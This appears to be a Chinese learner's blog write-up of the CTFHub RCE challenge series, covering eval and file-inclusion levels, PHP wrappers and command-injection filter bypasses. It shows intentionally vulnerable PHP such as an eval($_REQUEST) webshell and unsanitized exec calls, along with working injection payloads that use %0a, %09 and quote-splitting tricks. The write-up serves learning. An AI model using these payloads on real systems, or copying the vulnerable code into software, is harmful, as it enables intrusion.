RCE远程代码执行ctfhub(记录)

ctfhub闯关

目录

第一关(eval执行)

第二关(文件包含)

第三关(php://input)

第四关(远程包含)

第五关(利用php://filter读取源代码)

第六关(命令执行)

第七关(过滤cat)

第八关(过滤空格)

第九关(过滤目录分割符)

第十关(过滤运算符)

第十一关(综合过滤)


第一关(eval执行)

既然都说了是eval执行,先去了解知识点Linux eval命令用法详解:如何动态地执行shell命令(附实例)-Linux入门自学网 (bashcommandnotfound.cn)

eval()是危险的函数,ok啊,那就是一般不会用这个函数咯

其中两种使用方法
eval "$(cat file.txt)"


cmd="ls -l"
eval "$cmd"

在网上搜了一下,然后我就这样写,根据我的经验应该要用这个获取127.0.0.1/flag.php文件,然后就好了,那我怎么用这个获取那个网址下的文件呢

反正得学会把,不能只看答案把

先看一下他给的源码

这个好像是一句话木马啊,才看出来,可以直接用蚁剑连接,因为这个就是这个网站的本目录,他这个是php代码

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

/cmd=ls,这样写失败

在尝试一下这样写失败,但是报错了,有一点希望了

尝试找网站目录下的flag.php文件,cmd=eval "$(cat var/www/html/flag.php)"这样写失败

你妹的,答案是?cmd=system('ls');

?cmd=system('ls /');

?cmd=system("ls /");

这样就能找到根目录下的文件,这个找到flag的文件,使用cat文件就能看到里面flag的内容

这个需要冒号,具体忘记了,在sql注入好像也要这样

使用?cmd=system("ls /flag_11536");

但是我不理解,为什么说是eval执行,为什么执行的system函数,

懂了,考的是eval函数,他已经写出来了eval函数,让我去利用他,也就是他的作用是可以将一串字符串当做php去执行,也就是说system("ls"); 可以执行这个php代码

还是有点没懂,但是知道的是ctfhub的解析好像确实清晰一点

来自这篇的eval执行 | CTFHub

第二关(文件包含)

这篇文章不错,文件包含 | CTFHub

这题是直接先看答案的,我觉得也有必要去看一下文件包含的知识点的

好像懂了他的网站主页有index.php,这个里面有文件包含漏洞,因为这个题目,看了一下include()函数,他是这样执行的,检查参数后面是否含有flag字段,如果有则输出hack,如果没有,那就包含指定的文件,也就是你包含什么文件都可以,他什么文件都会将里面的内容当做php代码执行,题目中又给我提示了,说这个文件里面有那个命令执行的命令,所以我们只需要包含他就能执行这个命令,怎么包含,只需要在后面加上index.php?file=xx文件,就可以了

这里有点疑问,我觉得应该是index.php是以php结尾的,所以就执行php,

一个是检查index.php,这个就是网站的首页地址,

来自讯飞ai解析

<?php
error_reporting(0); // 关闭错误报告
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) { // 检查是否包含"flag"字符串
        include $_GET["file"]; // 包含指定的文件
    } else {
        echo "Hacker!!!"; // 如果包含"flag"字符串,则输出警告信息
    }
} else {
    highlight_file(__FILE__); // 如果没有提供文件参数,则高亮显示当前文件内容
}
?>

最开始我是这样写的

http://challenge-0892ba541c7bfb5a.sandbox.ctfhub.com:10800/index.php?file=shell.txt?ctfhub=system(%27ls%27);

发现不行,我就看答案了,发现可以用post提交,因为那里是request去接受呀

<?php eval($_REQUEST['ctfhub']);?>

,什么请求都接受,get、post、cookie,里面有这个变量都接受,我怎么知道的,因为小迪讲的,昨天刚看到,我能说什么,爱死你了呀xiaosedi

一样的思路,先看根目录,网站目录没有就看跟目录,一层一层看 

找到flag,

第三关(php://input)

我觉得基础知识没必要学这么久,但是也要理解,基础知识学一两天了,还在做这个,所以我直接开了

PHP伪协议的几种使用姿势-腾讯云开发者社区-腾讯云 (tencent.com)

原理,利用php://put协议,图片来源ctfhub——php://input_ctfhubphpinput-CSDN博客

利用的两个条件,一下图片来源CTFHUB技能树-RCE - OHuoo - 博客园 (cnblogs.com)

解题:利用php://的协议课执行php的特点,写入php代码

至于为什么不能用hackbar使用post请求,好像使用post请求需要变量来传入参数,比如a=xxx

别人好像可以,可能是因为工具不同把

第四关(远程包含)

发现这个功能还是打开的,依然可以是用php://input伪协议

网上说需要服务器配合去完成,RCE--文件包含--远程文件包含,vps可能就是服务器,可以试用是什么意思,懂了,新人注册云服务器账号可以试用一个月把好像,华为试用一个月,但是我注册过了,

第二种方法,就是使用php://input伪协议

一样的思路

第五关(利用php://filter读取源代码)

还是要截图源代码的习惯才行,这一关的话,先看源代码

这里的话,少了phpinfo文件,不能确定php://input是否可以使用,但是又要我们使用file后面的参数包含php://

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag

我是看了答案的,不能使用php://input函数,可能是限制了

但是这个应该可以使用,因为在这两个功能关闭也能正常使用PHP伪协议的几种使用姿势-腾讯云开发者社区-腾讯云 (tencent.com)

使用方法如下,参数resource必选,其他参数可选

构造参数

?file=php://filter/resource=/flag

第六关(命令执行)

这关考的应该是管道符|,表示把上一条命令的输出作为下一条命令的输入,来自博客园

这篇也挺好的“eval执行”、“命令注入”_ctfhub web eval-CSDN博客

方法是这样的,主页有个php文件,打开确实空白的,里面可能有特殊字符,特殊字符就是注释,他不会在网页显示,但是把它加密成base64不就可以打印出来了,

还有个用分号;执行多条命令语句也是可以的,我用的管道符|

这个更好了,来自CTF刷题记录CTFHub-RCE-命令注入_ctfhub命令注入-CSDN博客

二、知识点:
1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

**

先看下源代码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

这关的flag的代码给我隐藏了,我了个豆啊

还得是用burp咯

我还用了find / -name *flag*都没能找到flag文件,原来就在网站目录下,把它注释了,只是我没找到

第七关(过滤cat)

这里考的是读取文件的常用命令有哪些,有cat、tail、head等命令都可以读取文件

其他步骤和上一关一样

第八关(过滤空格)

将空格替换成<即可完成绕过,其他步骤都是一样的,%20、/**/绕过不了

127.0.0.1<cat flag_25936217919800.php

其他的过滤方法参考CTFHub技能树笔记之RCE:命令注入、过滤cat、过滤空格_ctf命令注入-CSDN博客

第九关(过滤目录分割符)

127.0.0.1 | cd flag_is_here;cat flag_25936217919800.php  //不知道为什么这么写错了

127.0.0.1 | cd flag_is_here | cat flag_25936217919800.php  //这样也不行

本来我这样127.0.0.1 | ls     //可以获取当前目录下的文件,但是后面加个分号拼接不起来了。

得这样写127.0.0.1;cd flag_is_here;cat flag_25936217919800.php

这篇文章有很多种字符绕过,借用CTFHub技能书解题笔记-RCE-过滤空格、过滤目录分隔符、过滤运算符-CSDN博客

第十关(过滤运算符)

有点懒了,先看一下过滤运算符是什么

ok知道了,是类似|,&,但是也只是过滤了这两个,还有分号;可以利用

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

ai解析
这段PHP代码的作用是检查GET请求中是否包含名为'ip'的参数,
并且该参数不为空。如果满足条件,它会尝试执行一个ping命令来测试与该IP地址的网络连接。
如果IP地址中包含"|"或"&"字符,则不会执行ping命令,而是将匹配到的字符存储在$res变量中。

第十一关(综合过滤)

一样先看源代码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>


这个我好像看的懂一点了
就是过滤了|、&、;、空格、\/、cat、flag、ctfhub。
这些都过滤了

我还绕个屁啊,之前是把运算符给去掉,但是没有吧这个名字给绕过了呀

这样,具体我也不晓得为啥这样写,

先显示这个ls当前目录

http://challenge-519d851fc34c770b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

至于这个为什么要在url上输出呢,我试过了,在那个框框那里输%0a他会再把%0a编码一次,也就是%250a,字符串a不编码,不要问,问就是不知道

至于为什么是%0a呢,试一下不就知道了,终于搞懂了回车与换行的区别 - linux开源系统学习入门提高 - PythonTab中文网

%0a是换行的意思

%0d是回车的意思

/r/n就是我们平常的回车键(回车式的换行)有个crlf漏洞就是利用这个

换行符 '\n' 和 回车符 '\r' 的区别?-腾讯云开发者社区-腾讯云 (tencent.com)

在显示那个目录显示

http://challenge-519d851fc34c770b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als%09*is_here

什么是%09呢,ls后面跟着tab键是什么意思呢,我好像猜到了,实践一下

好像是绕过空格,这个tab键在windows操作系统,按tab键会有空格,但是刚在centos系统却不行

*匹配任意字符,后面接指定数字,说明就是这一关文件

引入绕过空格过滤的字符:
、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

最后显示

http://challenge-519d851fc34c770b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_1630268041045.php

这个还可以用16进制编码绕过,好像有点麻烦

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值